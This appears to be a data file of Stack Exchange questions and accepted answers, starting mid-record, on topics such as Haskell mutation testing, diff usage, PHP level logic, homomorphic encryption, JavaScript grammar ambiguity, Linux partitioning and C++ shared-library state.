TSum {tsum_numMutants::Int,                  tsum_loadError::Int,                  tsum_notKilled::Int,                  tsum_killed::Int,                  tsum_others::Int,                  tsum_log::String}-- Class/Instance declarationtype MutantFilename = Stringclass Typeable s => Summarizable s where  testSummary :: [MutantFilename] -> [InterpreterOutput s] -> TSum  isSuccess :: s -> BoolUsing the above for QuickCheck integration (Different module)Adapter{-# LANGUAGE StandaloneDeriving, DeriveDataTypeable, TypeSynonymInstances #-}-- | Module for using quickcheck propertiesmodule Test.MuCheck.TestAdapter.QuickCheck whereimport qualified Test.QuickCheck.Test as Qcimport Test.MuCheck.TestAdapterimport Test.MuCheck.Utils.Print (showA, showAS)import Data.Typeableimport Data.List((\\\\))import Data.Either (partitionEithers)deriving instance Typeable Qc.Resulttype QuickCheckSummary = Qc.Result-- | Summarizable instance of `QuickCheck.Result`instance Summarizable QuickCheckSummary where  testSummary mutantFiles results = TSum {    tsum_numMutants = r,    tsum_loadError = e,    tsum_notKilled = s,    tsum_killed = f,    tsum_others = g,    tsum_log = logMsg}    where (errorCases, executedCases) = partitionEithers results          [successCases, failureCases, gaveUpCases] = map (\\c -> filter (c . snd) executedCases) [isSuccess, isFailure, isGaveUp]          r = length results          e = length errorCases          [s,f,g] = map length [successCases, failureCases, gaveUpCases]          errorFiles = mutantFiles \\\\ map fst executedCases          logMsg = showAS [Details:,                           Loading error files:, showA errorFiles,                           Loading error messages:, showA errorCases,                           Successes:, showA successCases,                           Failure:, showA failureCases,                           Gaveups:, showA gaveUpCases]          isFailure :: Qc.Result -> Bool          isFailure Qc.Failure{} = True          isFailure _         = False          isGaveUp :: Qc.Result -> Bool          isGaveUp Qc.GaveUp{} = True          isGaveUp _        = False  isSuccess = Qc.isSuccessMainmodule Main whereimport System.Environment (getArgs, withArgs)import Control.Monad (void)import Test.MuCheck (mucheck)import Test.MuCheck.TestAdapter.QuickCheckimport Test.MuCheck.TestAdapterimport Test.MuCheck.Utils.Printmain :: IO ()main = do  val <- getArgs  case val of    (-h : _ ) -> help    (fn : file : modulename : args) -> withArgs [] $ mucheck tsFn fn file modulename args    _ -> error Need function file modulename [args]\\n\\tUse -h to get help  where tsFn :: [MutantFilename] -> [InterpreterOutput QuickCheckSummary] -> TSum        tsFn = testSummaryhelp :: IO ()help = putStrLn $ mucheck function file modulename [args]\\n ++ showAS [E.g:,        ./mucheck qsort Examples/QuickCheckTest.hs Examples.QuickCheckTest 'quickCheckResult idEmpProp' 'quickCheckResult revProp' 'quickCheckResult modelProp',]"  , "title": "Mucheck - a mutation analysis tool for Haskell programs"  , "tags": "haskell;unit testing"  } 
{  "id": "_cs.42758"  , "question": "where is all deleted data will go  from a memory system ? if it is not deleting actually where it storing ? i am always wonder about this when we are sending something to a memory system it takes long time (depends up on usb port) and when we are deleting it not taking more than a bling of eyes and disappears actually where it goes ? ** deletion process is happening on both memory device and internet is same or different ** ? can we recover data from internet ? "  , "title": "where is all deleted data will go from memory system/internet?"  , "tags": "memory management;memory hardware;memory access;memory allocation;shared memory"  } 
{  "id": "_unix.1079"  , "question": "Diff is a great tool to display the changes between two files. But how to display the similarities of two text files (while ignoring the differences)?I.e. sample input:a:Foo BarXHelloWorld42b:Foo BazHelloWorld23Pseudo output (something like this):@@ 2,3=Hello WorldJust sorting both files and using comm is not enough, because in that case the line information is lost."  , "title": "Output the common lines (similarities) of two text files (the opposite of diff)?"  , "tags": "command line;shell;diff"  , "accepted_answer": "How about using diff, even though you don't want a diff?  Try this:diff --unchanged-group-format='@@ %dn,%df   %<' --old-group-format='' --new-group-format='' \\  --changed-group-format='' a.txt b.txtHere is what I get with your sample data:$ cat a.txt Foo BarXHelloWorld42$ cat b.txt Foo BazHelloWorld23$ diff --unchanged-group-format='@@ %dn,%df%<' --old-group-format='' --new-group-format='' \\  --changed-group-format='' a.txt b.txt@@ 2,3HelloWorld"  } 
{  "id": "_softwareengineering.241389"  , "question": "Should an interface only be used to specify certain behavior? Would it be wrong to use interface to group logically related data?To me it looks like we should not use interface to group logically related data as structure seems a better fit. A class may be used but class name should indicate something like DTO so that user gets the impression that class does not have any behavior.Please let me know if my assumption is correct.Also, are there any exceptions where interface can be used to group logically related data?"  , "title": "Should interface only be used for behavior and not to show logical data grouped together?"  , "tags": "design;object oriented design;interfaces"  } 
{  "id": "_codereview.132464"  , "question": "Currently, I'm working on gamification platform and I have the following rules for achieving a new level:Level 0: When user registersLevel 1: When user confirms accountLevel 2: When user completes a quizLevel 3: When user completes a mission and publish more than 5 comments in the blogLevel 4: When user completes more than two missions and completes a campaign (campaign means donating money for something)Level 5: Raised at least $50 in campaigns and complete at least two campaignsNow, I have the following database where I'll keep a track of each user action (e.g. complete_quiz, complete_mission, etc.):Achievementsid (int)event (varchar)amount (int) # used when event has specific value, e.g. money for complete_campaign eventuser_id (int)date_created (int)When the user make any action (e.g. complete_mission), I'll insert the action in the table above and will call the following method to check if user has new level unlocked:public function checkIfAchievmentUnlocksNewLevel($userObj){           $currentLevel = $userObj->level;    $nextLevel = ++$currentLevel    $isLevelUnlocked = false;    switch($nextLevel)    {        case 0:        case 1:            // Each registered user will have these levels by default.        break;        case 2:            $completedQuiz = $this->db->select(SELECT  . $this->fieldsList .  FROM  . $this->table .  WHERE event = :event AND user_id = :user_id , array(':event' => 'complete_quiz', ':user_id' => $userObj->id));            $isLevelUnlocked = count($completedQuiz) ? true : false;        break;        case 3:            $completedMissions = $this->db->select(SELECT  . $this->fieldsList .  FROM  . $this->table .  WHERE event = :event AND user_id = :user_id, array(':event' => 'complete_mission', ':user_id' => $userObj->id));            $wildwireComments = $this->db->select(SELECT  . $this->fieldsList . FROM  . $this->table .  WHERE event = :event AND user_id = :user_id, array(':event' => 'wildwire_comment', ':user_id' => $userObj->id));                          $isLevelUnlocked = (count($completedMissions) && count($wildwireComments) >= 5) ? true : false;        break;        case 4:            $completedMissions = $this->db->select(SELECT  . $this->fieldsList .  FROM  . $this->table .  WHERE event = :event AND user_id = :user_id, array(':event' => 'complete_mission', ':user_id' => $userObj->id));            $completedCampaigns = $this->db->select(SELECT  . $this->fieldsList . FROM  . $this->table .  WHERE event = :event AND user_id = :user_id, array(':event' => 'complete_campaign', ':user_id' => $userObj->id));            $isLevelUnlocked = (count($completedMissions) >= 2 && count($completedCampaigns)) ? true : false;        break;        case 5:            $campaignRaisedMoney = $this->db->select(SELECT SUM(amount) FROM  . $this->table .  WHERE event = :event AND user_id = :user_id, array(':event' => 'complete_campaign', ':user_id' => $userObj->id));            $completedCampaigns = $this->db->select(SELECT  . $this->fieldsList . FROM  . $this->table .  WHERE event = :event AND user_id = :user_id, array(':event' => 'complete_campaign', ':user_id' => $userObj->id));            $isLevelUnlocked = (count($compaignRaisedMoney) >= 50.00 && count($completedCampaigns) >= 2) ? true : false;        break;    }    if($isLevelUnlocked)     {        $userHelper->setLevel($nextLevel);    }}This code is working now, but I want to refactor it and am looking for any suggestions on how to improve it."  , "title": "Level system in a gamification platform"  , "tags": "php;mysql"  , "accepted_answer": "First, I am concerned about the underlying data model.  I am not sure that trying to fit all different event types into the same table makes sense here since the events are so different in nature (account validation vs. taking a quiz vs. making comments vs. completing missions vs. completing a campaign).My guess is that you should have separate tables in the database for each of these types of events.  One table for quiz results for all users, one table for all user comments, one table for storing mission information, etc.Second, I am concerned with how you are hard-coding the level requirements into this section of code and storing the level on the user record. This is a very tight coupling of your leveling logic with the user object (presumably in database as well).  What happens if you change your leveling criteria?I would probably strive to store necessary properties or expose necessary methods with the user class to be able to pass a user object to an independent level-determination class where it is compared against levelling criteria.  So to fill out a rough class skeleton, perhaps you are looking at something like this:class User {    public $id;    public $name;    // etc.    public function __construct($id) {        // set up object from database record    }    public function accountConfirmed() {        // return true/false as to whether account is confirmed    }    public function getComments() {        // get list of all comment objects        // perhaps pass some parameter to allow for filtering    }    public function getQuizzes() {        // get list of all quizzes, and perhaps have parameters for filtering    }    public function getMissions() {        // get missions    }    public function getCampaigns() {        // get campaigns    }    public function getCampaignTotals() {        // get campaign totals    }    public function setLevel() {        // place to set the level on the user        // perhaps you update this to the database if changed        // and you decide you do need to store level on the user record for ease of lookup    }}class userLevelCalculator {    // place to store user object that was passed to class    protected $user;    protected $levelCheckFunctions = array();    // constructor receives user object    public function __construct(User &$user) {        $this->user = $user;    }    // logic to determine user level    // this could probably be broken down into separate class methods if needed    public function getUserLevel() {        // check for level 1        if(!$user->accountConfirmed()) {            $user->setLevel(0);            return 0;        }        // check for level 2        $quizCount = $user->getQuizzes();        if($quizCount < 1) {            $user->setLevel(1);            return 1;        }        // check for level 3          $commentCount = $user->getComments();        $missionCount = $user->getMissions();        if($commentCount < 5 || $missionCount < 1) {            $user->setLevel(2);            return 2;        }        // check for level 4        $campaignCount = $user->getCampaigns();        if($missionCount < 2 || $campaignCount < 1) {            $user->setLevel(3);            return 3;        }        // check for level 5        $campaignTotals = $user->getCampaignTotals();        if($campaignCount < 2 || $campaignTotals < 50) {            $user->setLevel(4);            return 4;        }        $user->setLevel(5);        return 5;    }    }"  } 
{  "id": "_softwareengineering.161410"  , "question": "So when you call malloc or new [] from your C/C++ application, how does the CRT translate it into Windows API calls?"  , "title": "How are new[] and malloc implemented in Windows?"  , "tags": "windows;memory;allocation;malloc"  , "accepted_answer": "It depends if you are in debug or release mode. In release mode, as Pedro said there is HeapAlloc/HeapFree which are kernel functions, while in debug mode (with visual studio) there is a hand written version of free and malloc (to which new/delete are re-directed) with thread locks and more exceptions detection, so that you can detect more easily when you did some mistakes with you heap pointers when running your code in debug mode. This is one more reason why a code compiled in debug mode is slower. I think it is the only one API which is simulated like this in debug mode.Just step it into the debugger to understand how it works, if I remember well this debug version uses somes trees of double linked lists.And this is also with this kind of re-writing of malloc/free that memory consumption analysers work : there is tool for that in visual studio which just uses another .dll as the implementation of allocations functions which notice another data analyser program each time they are called."  } 
{  "id": "_cstheory.16968"  , "question": "Can i evaluate a formula $(a_i + b_i) \\cdot c_i$ if i have the encryption of $a_i,b_i,c_i$ respectively using a homomorphic encryption scheme that supports multiplications and additions, supposing that each value is a small integer? I am aware of BGN scheme that evaluates 2-DNF formulas but in my scheme i want the other way around. Instead of $a_1 \\cdot b_1 + a_2 \\cdot b_2 + \\ldots +a_n \\cdot b_n$ i want to evaluate $(a_1 + b_1) \\cdot c_1 + (a_2 + b_2) \\cdot c_2 + \\ldots + (a_n + b_n) \\cdot c_n$"  , "title": "How to homomorphically and efficiently evaluate $$(a_1 + b_1) \\cdot c_1 + (a_2 + b_2) \\cdot c_2 + \\ldots + (a_n + b_n) \\cdot c_n$$"  , "tags": "cr.crypto security;homomorphic encryption"  , "accepted_answer": "The original question seems to assume that the BGN scheme is the state-of-the-art for problems like this (correct me if I'm wrong :)), so for what it's worth:The BGN scheme scheme is a prototypical version of a somewhat homomorphic encryption scheme -- the bilinear map gives you a single multiplication on any ciphertext still in the source group $\\mathbb{G}$, and (of course) unbounded additions.It's worth noting that the additively homomorphic property (ie, the unbounded additions) comes from the algebraic representation of the ciphertexts. For similar reasons, El Gamal has multiplicatively homomorphic ciphertexts (unbounded multiplications, no additions), and Paillier has additively homomorphic ciphertexts (no multiplications, unbounded additions).I think around a year after BGN, Craig Gentry came out with the first fully homomorphic encryption scheme (unbounded multiplications, unbounded additions).The current state-of-the-art for FHE schemes is some combination of:((Below are PDF links to ePrint.))Fully Homomorphic Encryption without Modulus Switchingfrom Classical GapSVPFully Homomorphic Encryption with Polylog OverheadSomewhat Practical Fully HomomorphicEncryptionAnother Thought:In case the word efficiently in the title was intended to be interpreted as not FHE, here's an independent observation of mine that might be useful for situations like you ran into just now -- i.e. I think I need more multiplications than the bilinear map in BGN allows, but I don't want to take the huge hit of FHE...If you implement a BGN-like scheme, but substitute a multilinear map for the bilinear map..See: Candidate Multilinear Maps from Ideal Lattices..then you should be allowed up to $\\kappa$ multiplications, for multilinearity parameter $\\kappa$.The complexity of the GGH multilinear map depends on $\\kappa$, but so long as $\\kappa=O(1)$, I have a feeling there wouldn't be much difference between the resulting scheme and the BGN scheme in terms of concrete efficiency. (In fact, it's an interesting question on its own!)In any case, suppose you ran into a situation where you needed.... THREE multiplications per plaintext... Think about using a multilinear map.A few more details for intuition about what multilinear maps are, if they're new to you:BGN uses groups $(\\mathbb{G}, \\mathbb{G}_T)$ and a map $e: \\mathbb{G}\\times\\mathbb{G}\\rightarrow\\mathbb{G}_T$.IIRC, the GGH multilinear map with, say, $\\kappa = 2$ can be seen as reducing (in the simplest case) to groups $(\\mathbb{G}_0, \\mathbb{G}_1, \\mathbb{G}_2)$ and a set of bilinear maps, written generally as $e = \\{e_i\\}_{i\\in [0,...,\\kappa-1]}$ where for all $i$, $e_i : \\mathbb{G}_i\\times\\mathbb{G}_i\\rightarrow\\mathbb{G}_{i+1}$."  } 
{  "id": "_cs.14862"  , "question": "There are $n$ elements in a hash table of size $m \\geq 2n$ which uses open addressing to avoid collisions. The hash function was chosen randomly among a set of uniform functions. A set $H$ of hash-functions $h:U\\to\\{0,\\dots,m-1\\}$ is called uniform, if for every tuple of different keys $x,y \\in U$ the number of hash-functions $h \\in H$ with $h(x) = h(y)$ is $\\frac{|H|}{m}$ at most.Show that the propability that for $i = 1, 2, \\dots,n$ the $i$-th insert operation needs more than $k$ attempts, is $2^{-k}$ at most.This is an assignment, which I got as homework. What I already worked out:The propability $p_1$ for a collision is 0 of course for an empty table.The propability $p_i$ for a collision after k attempts should be $\\frac{i - 1}{2n}\\cdot k$ assuming that the table is filled with $i-1$ elements to this point and the tables size is $2n$ as worst case.So I have$$p_i= \\frac{i-1}{2n} \\cdot k \\leq 2^{-k},$$but I don't know where to go from here.The method of open hashing used here simply iterates over different hash-functions until a free place is found (for example $h(x) = (x \\bmod j) \\bmod n$ with increasing prime numbers for $j$."  , "title": "Proof that probability that hashing with open addressing needs more than $k$ attempts is $2^{-k}$ at most"  , "tags": "algorithm analysis;data structures;hash tables"  } 
{  "id": "_unix.368697"  , "question": "I created a custom Arch distro iso with Archiso and I wrote an installation script that prompts the user for input for install options. So far, the installation process is:boot the arch isoexecute the installation script with:$ ./install.shinput when promptedYour typical-user-friendly-installer boots right to the installer and gets going. I'd like to do that by having ./install.sh run automatically instead of being executed by the user, so that step #2 is eliminated.if I understand correctly, the arch iso gets the user to a terminal via a systemd service that calls /sbin/agetty. I think I either need to modify or replace that service to make it something that calls my script, but I'm not sure how to go about that, or if this is even close to the right approach.What's the proper way to boot to an installer script on a distro live CD?"  , "title": "Automatically running an installation cli script in terminal on startup"  , "tags": "shell script;arch linux;systemd;system installation;livecd"  } 
{  "id": "_unix.12063"  , "question": "For fun and laziness, I've got 20 entries in my GRUB2 menu. To get to the bottom one quickly, I tap down-arrow a couple of times during the GRUB loading screen. I can press the key 15 times (+/- 1, don't remember) -- the next press, GRUB beeps and the menu choice isn't affected.Why would someone put the limit at 2^4 on a 64-bit processor? Is it even a GRUB problem, or is it caused by keyboard queuing?"  , "title": "Why can GRUB2 only remember 4 bits?"  , "tags": "grub2;bios"  , "accepted_answer": "Do you mean you press the key 15 times before Grub has time to process the first press? If so, that's the BIOS buffering the key presses. The BIOS probably has a fixed-size buffer whose size probably hasn't changed in >30 years. (The API hasn't changed, the hardware has to some extent but for the BIOS's sake it'll emulate older hardware, and there isn't any demand for fancier behavior, so BIOS writers don't bother.)"  } 
{  "id": "_softwareengineering.332869"  , "question": "I'm working on the design of a compiler for a language in which I have to use curly brace for two different purposes. I am currently stuck in writing a non-ambiguous grammar but I realized that some other language have the same behaviour.That is why I'm trying to understand how a part JS/Ecmascript grammar is built.  More precisely, I would like to understand how the parser mangage to correctly identify statement blocks like function body from objects definitions since they are both surrounded with curly braces and their content can be syntaxically the same.I have searched for JS grammar on the web but most documentation is very messy. I found this, which is very clear : http://hepunx.rl.ac.uk/~adye/jsspec11/llr.htm but the only rule using curly braces is the following :CompoundStatement:      { Statements }Does anyone could help me with this "  , "title": "Javascript / Ecmascript language grammar disambiguation"  , "tags": "javascript;compiler;grammar"  , "accepted_answer": "The grammar you linked to looks incomplete and buggy (it doesn't mention object literals). Let's talk about this one instead. Here, braces occur in four rules:ObjectLiteral    { }|  { FieldList }...Block  { BlockStatements }...SwitchStatement    switch ParenthesizedExpression { }|  switch ParenthesizedExpression { CaseGroups LastCaseGroup }...NamedFunction  function Identifier FormalParametersAndBodyFormalParametersAndBody  ( FormalParameters ) { TopStatements }The function and switch cases will never clash with the block and object literal, because these are preceded by the function and switch keywords. As soon as the parser recognizes these keywords, all other alternative productions can be discarded.However, there appears to be a ambiguity between blocks and object literals. How should the statement {} be parsed? This could either be an empty object literal, or an empty block.The grammar prevents this by tracking whether an expression is the initial expression of the statement, and provides different productions for each case:PrimaryExpression(normal)    SimpleExpression|  FunctionExpression|  ObjectLiteralPrimaryExpression(initial)  SimpleExpressionThis disallows object literals in the first expression, and also function definitions  if a function occurs at the beginning of a statement, it always is a function definition statement, never a function expression.This makes the JavaScript grammar unambiguous. This is important for LR grammars, since it avoids reduce/reduce conflicts.For top-down parsers (e.g. hand-written recursive descent), we could leave the grammar ambiguous but assign priorities to each alternative. E.g. in a Statement and TopStatement, the Block and FunctionDefinition alternatives would always have to be attempted before the ExpressionStatement alternative.For generalized parsers that can parse all context-free grammars (not just LL or LR subsets), ambiguities do not hinder the parser. Depending on the parser, it either returns one arbitrary parse tree of all valid parse trees (undesirable in practice), or iterates over all possible parse trees. An actually ambiguous grammar is not good for programming languages, since we usually want to write programs that cannot be misunderstood by the compiler.However, there's an interesting class of unambiguous grammars that cannot be parsed by LR parsers, and requires a generalized parser. Here, we have a reduce/reduce conflict between the A and B rules, but it is just a local ambiguity and is resolved later in the program:Top = X | YX = A Balanced xY = B Balanced yA = a bB = a bBalanced = x | y | () | ( Balanced ) | ( Balanced Balanced )Since the Balanced rule is a context-free grammar in itself, no amount of lookahead will resolve this. The input ab((y()))x has exactly one parse tree (is unambiguous), but is not parseable by common parsers. When designing a language, even local ambiguities should therefore be avoided."  } 
{  "id": "_softwareengineering.221766"  , "question": "I'm integration testing a system, by using only the public APIs. I have a test that looks something like this:def testAllTheThings():  email = create_random_email()  password = create_random_password()  ok = account_signup(email, password)  assert ok  url = wait_for_confirmation_email()  assert url  ok = account_verify(url)  assert ok  token = get_auth_token(email, password)  a = do_A(token)  assert a  b = do_B(token, a)  assert b  c = do_C(token, b)  # ...and so on...Basically, I'm attempting to test the entire flow of a single transaction. Each step in the flow depends on the previous step succeeding. Because I'm restricting myself to the external API, I can't just go poking values into the database.So, either I have one really long test method that does `A; assert; B; assert; C; assert..., or I break it up into separate test methods, where each test method needs the results of the previous test before it can do its thing:def testAccountSignup():  # etc.  return email, passworddef testAuthToken():  email, password = testAccountSignup()  token = get_auth_token(email, password)  assert token  return tokendef testA():  token = testAuthToken()  a = do_A(token)  # etc.I think this smells. Is there a better way to write these tests?"  , "title": "How to structure tests where one test is another test's setup?"  , "tags": "testing"  } 
{  "id": "_cs.68742"  , "question": "POINTS_TABLE = [3, 5, 7, 1]function score(answer) {  result = 0  for i in 0..4    result += POINTS_TABLE[answer[i]]  return result}answer = [1, 2, 1, 0]s = score(answer)The sum performed is 5 + 7 + 5 + 3 = 20. It uses the values from the input as the indexes to read from the POINTS_TABLE.This is the style of the answer I'm trying to work out:\\begin{equation}score(answer) = \\sum_{i=1}POINTS\\_TABLE_{answer_i}\\end{equation}"  , "title": "How can I write this simple function in mathematical notation?"  , "tags": "notation;mathematical foundations"  } 
{  "id": "_softwareengineering.141485"  , "question": "I just wanted to know what the difference is between static code analysis and code review. How are each of these two done?  More specifically, what are the tools available today for code review/static analysis of PHP?  I would also like to know about good tools for code review for any language."  , "title": "What is the difference between Static code analysis and code review?"  , "tags": "code quality;terminology;code reviews;quality"  } 
{  "id": "_ai.2578"  , "question": "The original Lovelace Test, published in 2001, is used generally as a thought experiment to prove that AI cannot be creative (or, more specifically, that it cannot originate a creative artifact). From the paper:Artificial Agent A, designed by H, passes LT if and only ifA outputs o,A outputting o is not the result of a fluke hardware error, but rather the result of processes A can repeatH (or someone who knows what H knows, and has H's resources) cannot explain how A produced o.The authors of the original Lovelace Test then argues that it is impossible to imagine a human developing a machine to create an artifact...while also not knowing how that machine worked. For example, an AI that uses machine learning to make a creative artifact o is obviously being 'trained' on a dataset and is using some sort of algorithm to be able to make predictions on this dataset. Therefore, the human can explain how the AI produced o, and therefore the AI is not creative.The Lovelace Test seems like an effective thought experiment, even though it appears to be utterly useless as an actual test (which is why the the Lovelace Test 2.0 was invented). However, since it does seem like an effective thought experiment, there must be some arguments against it. I am curious to see any flaws in the Lovelace Test that could undermine its premise."  , "title": "Are there any refutation of the original Lovelace Test?"  , "tags": "intelligence testing"  , "accepted_answer": "I am a future neurologist with a very complete understanding of linguistic processing in the brain.  I am also an overprotective parent, so I monitor every phrase uttered to my child, and also completely determine all the books she reads in the course of her education.When my child writes a poem, then, I know the dataset on which her brain was trained, as well as the processes by which her language inputs became language outputs--in broad outline I know these processes are non-linear and are based on how different inputs along with the current collection of trillions of distinct synaptic weights updates the synaptic weights.  I don't know what her poem will be, of course, because there are random factors and the whole history of her synaptic weights are unobservable, but I adhere to the Lovelace test and can therefore conclude that composing the poem was not a creative act.The Lovelace Test, like the Chinese Room Argument, implicitly assumes that what computers/AI can do in processing symbols and information and what brains can do are distinct.  If you accept that assumption, then the argument ceases to be interesting-- you've merely redefined creativity as one of the distinct things that brains can do.  If you reject the assumption, the argument that computers are incapable of creativity ceases to be valid.  The thought experiment itself does nothing to assist us in evaluating the truth of the assumption."  } 
{  "id": "_unix.165473"  , "question": "I have two terminals installed, gnome-terminal and xfce4-terminal.I would like to have only the xfce terminal showing a simple > as prompt when I start it. The gnome-terminal prompt should remain unchanged (so no bashrc modification, I think).I don't mind starting xfce-terminal from a script or another terminal with some parameters.I tried:xfce4-terminal -x export PS1='> 'but that throws an error and is apparently not do-able.Any solution is welcome, even if it's a bit hackish"  , "title": "Change prompt when starting a terminal from bash script (but don't affect all terminals)"  , "tags": "environment variables;path;prompt;gnome terminal;xfce4 terminal"  } 
{  "id": "_webapps.90611"  , "question": "I have a custom label in Gmail that sends mail I want to look at about once a month to a folder labeled JUNK. The filter tells the emails to skip the inbox, mark the emails as read, and label them as JUNK.I've noticed that a few months ago, my emails from Scotiabank regarding interac email transfers were being labeled as Junk. Undesirable behaviour! I looked in my filter settings, but nothing there indicates why this mail is being sent there. As far as I can see, none of my filters should result in messages with Scotiabank's information being sent to JUNK.Is there a way to determine why a specific email is being sent to a folder through a label filter? When I try to remove the label JUNK from the email, it still won't show up in my inbox. If there isn't a way to do this, how can I force these emails to go to the inbox?I looked at this post (Force email to stay in inbox), but I think it assumes I actually know why my mail is being filtered to JUNK in the first place.This is the first time I've posted here, so please let me know if I can add any information to my post."  , "title": "Why is my email labeled and sent to a folder in Gmail instead of the inbox?"  , "tags": "gmail;gmail filters;gmail labels"  } 
{  "id": "_datascience.16175"  , "question": "As the title indicates, over multiple runs of my program, I get different values of trans and est. Are these local minimum? If so how do I get the optimal one?NOTE - They all have the same starting value of trans and est.Thanks!Edit: I realized why I was getting different values of trans and est over different runs but it raised another question in my mind.My objective is to train an HMM on classical song data (MFCC coefficients). To discretize it, I assigned the MFCC coefficients to 7 clusters.I have a sequence of 10 observations stored in matrix M that I am providing to the hmmtrain function as input. Each row represents a song, and each column are the different clusters the MFCC coefficients (for different frames of the song) were assigned to.ex:M = 1     1     1     3     3     3     3     2     7     7     7 1     1     1     3     1     1     1     1     3     1     1 3     3     3     2     2     3     3     2     2     3     3 6     6     6     2     2     5     5     2     2     5     5 3     3     3     3     1     1     1     1     1     1     1 7     7     7     7     5     5     5     7     2     5     5 3     3     3     2     2     3     3     2     2     6     6 7     7     5     7     2     3     6     2     2     2     2 7     7     7     7     7     7     7     7     7     7     2However, since I was recomputing the clustering every time, my input data would change. By saving the matrix to a file and using that every time my results were consistent. What I do not understand is why for certain formations of clusters (i.e. for certain input matrices) I would get better performance? Shouldn't cluster formation be the same by and large (even if the number ex. 1,2.. might represent a different cluster)?Sorry about earlier. I'll repost the question if necessary. Thanks again!"  , "title": "hmmtrain in Matlab converging to different values of trans and est over different runs"  , "tags": "matlab"  } 
{  "id": "_unix.317440"  , "question": "Can I have separate / and /tmp but /home + /usr + /var on one partition somehow?Separate /tmp is good because I can set it up with some quick unreliable filesystem. I often change distributions therefore separate / is a blessing - quick re-install and I'm good as long as /home, /usr and /var are untouched.The problem is, I don't want to designate space for any of the last three - I want them to share available resources. I sometimes need more space in /var and I can see there's available space in /usr that I cannot use, sometimes it's the other way around. It's frustrating. Any ideas?"  , "title": "Multiple mountpoints on one partition?"  , "tags": "mount;partition;root;home"  , "accepted_answer": "You can always mount your third partition somewhere (like /mnt/combo or something), and then bind-mount subdirectories from this mountpoint to the three designated directories.In fstab, this would look something likeUUID=... /mnt/combo        auto    defaults/mnt/combo/usr /home        none    bind/mnt/combo/var /var        none    bind/mnt/combo/home /home        none    bindAlso consider this: /home makes sense to live on a separate partition - even better, a separate drive, which can be somehow protected (raid, backups,...). /var would make sense to be separate if you really have something personal in there (websites and such), otherwise it makes no difference. /usr can definitely be part of /, it makes no sense to have it separate because on a modern system, the distinction between /bin and /usr/bin is blurred and noone cares about it anymore, and segmenting a system only creates problems if one of the partitions somehow doesn't mount./tmp should normally be ram-backed anyway (tmpfs), unless you really are running out of RAM, and most distros do that by default unless you change it.Big picture: separate /home if you have to, the rest is just overhead - you probably have no reason to have different filesystem types or different permissions on any of these, and partitioning doesn't usually mean physical separation (same hard drive?)."  } 
{  "id": "_softwareengineering.232832"  , "question": "In our organization some of the resources (such as QA machines etc) are shared. Different folks get done at different times and some tests have to be run (during dev and QA) on these machines. Right now, we just skype a message to the team stating I am going to run some destructive tests on such and such machines - let me know if anyone has an issue. This approach obviously has many issues (what happens if someone missed the message etc.)  Apart from maintaining a shared google doc that needs to be constantly updated - is there an easier way that folks use for such coordination?"  , "title": "Coordinating between developers on common resources"  , "tags": "project management;agile"  , "accepted_answer": "A central scheduler is the heavy weight way to go but has several advantages. If you set up a number of machines (or virtual machines) that tests can be run on (or machines can be spun up when a test is required) then you can have a central queue that people can submit jobs to and it can figure out what machines are free and what resources can be made available for them. Advantages:That way you know tests can be run one at once (if they need to be e.g. are destructive).You can see what is in the queue. You can schedule regular tests to have an appropriate priority to your new requests for tests. You can also kill off tests when you know you need to clear the queue for an important test run. The other big option that I would normally recommend you consider is continuous delivery / deployment but from your question I'm guessing that isn't an option at the moment. "  } 
{  "id": "_unix.318706"  , "question": "I am new to laravel and am using ubantu  when i have installed my project in opt/lampp/htdocs folder it is restricting that some folders permissions denied. when am trying to run the command chmod -R 644 app/storage it is showing that :user@host:~$ chmod -R 644 app/storagechmod: cannot access 'app/storage': No such file or directorywhen i try to run the project it is showing that :file_put_contents(/opt/lampp/htdocs/bazaa/app/storage/sessions/7b2822ce03a7f890afe496675cd269695c3bb1e8): failed to open stream: Permission deniedcan you please suggest me what is the problem."  , "title": "permission access denied in laravel4.2 in linux"  , "tags": "linux"  } 
{  "id": "_unix.287383"  , "question": "I added few vim plugins like sytastic, nerdTree. They change the status line and other UI elements, which works fine while editing files.But when I invoke vimdiff on 2 files, the nerdTree pane also open, the status lines are of no help. Is there anyway I can disable these plugins if I call vimdiff command?"  , "title": "How to disable vimplugins while invoking vimdiff command"  , "tags": "vimrc;plugin;vimdiff"  } 
{  "id": "_cs.18646"  , "question": "Given $A,B$ regular languages with $A \\prec B$. Prove the existence of $C\\in L_{\\text{regular}}$ so that: $A \\prec C \\prec B$.Here, $A\\prec B$ stands for: $A\\subset B $ and $B\\setminus A $ is infinite.  I tried to go for: $C=\\overline{B} \\cup A$ and some other options but it didn't work out."  , "title": "Prove the existence of regular $C$ so that: $A \\prec C \\prec B $"  , "tags": "formal languages;regular languages;closure properties"  , "accepted_answer": "Hint: Note that $B \\setminus A$ is regular by closure properties of $\\mathsf{REG}$.  Since $B \\setminus A$ is also infinite, you can find an infinite language $D \\in \\mathsf{REG}$ so that $D \\prec B \\setminus A$."  } 
{  "id": "_softwareengineering.339782"  , "question": "For developing a C++ dynamically-linked library (i.e. shared object) which may interface with C programs, what is the best practice to save program state across exported function calls?I as a not-experienced C++ programmer can think of the following methods:Compilation unit level static variables.Instantiate a struct at heap which holds the state and passing back and forth its address in each API call (somewhat like JNI).The problem with the first approach is that my state variables need some data to be initialized and these data are provided by calling init API (one of exported functions). On the other side, when using module's level static variables, those data aren't available yet when those variables are getting initialized.Also my problem with the second method is that each API function should be supplied with that pointer and this is a bit cumbersome.Note that there is another option that static variables are pointers to those state variables and are assigned in that init function (actually state variables are instantiated in init and their address are saved in those static variables). This option is fine, but I would like to not use pointers where possible."  , "title": "Best Practice for saving state in a C++ shared object"  , "tags": "c++;libraries"  , "accepted_answer": "Passing a pointer to a state object around is probably the best solution. Why?The statefulness of your functions is made explicit and obvious.It is the most general and most extensible solution.Unfortunately, APIs with a (hidden) global state are fairly common. They tend to make simple things simpler, but often make more difficult things outright impossible.E.g. imagine a database client library. To access a database, you need to create a connection first. What happens if I want to connect to multiple databases at the same time? If there is a single global connection hidden in the library, this is outright impossible.Passing an extra parameter around is somewhat annoying. But as long as all the state is grouped into a single object that has to be carried around, it isn't very annoying.Even if I would decide to keep a hidden global state, I would group that state into a single object so that it becomes easier to manage. Keeping track of multiple related global variables is quite error-prone, checking whether a single global variable has been initialized is much easier. Note that with a hidden global state, you will have to check whether the state is set in each exported function in order to prevent user errors."  } 
